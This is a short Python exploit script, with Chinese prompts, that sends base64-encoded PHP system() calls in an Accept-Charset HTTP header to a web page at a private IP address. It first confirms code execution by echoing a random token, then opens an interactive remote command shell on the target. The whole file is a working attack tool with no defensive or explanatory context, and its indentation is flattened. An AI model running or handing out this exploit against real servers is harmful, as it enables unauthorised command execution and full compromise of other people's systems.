

import base64
import sys
import string
import requests
import random
url = "http://192.168.8.135/ll.php"
def rce(url,cmd):
cmd = base64.b64encode("system('{}');".format(cmd).encode()).decode()
headers = {
"Accept-Charset" : cmd,
"Accept-Encoding" : "gzip,deflate",
"User-Agent" : "Feng"
}
res = requests.get(url = url, headers = headers)
bof = 0
dof = res.text.index("<!DOCTYPE html")
return (res.content[bof:dof].decode('gb2312'))
def mAth():
b = ''
for h in range(10):
h
b += random.choice(string.digits + string.ascii_letters)
return b
oath = mAth()
cmd = "echo " + oath
print("目标网址:" + url )
if oath not in rce(url, cmd):
exit("貌似并没有什么发现")
print("貌似有发现,尝试一下?")
try:
while True:
cmd = input("(p≧w≦q)>cmd >:")
if cmd == "q":
break
print(rce(url,cmd))
except KeyboardInterrupt as p:
print("程序终止")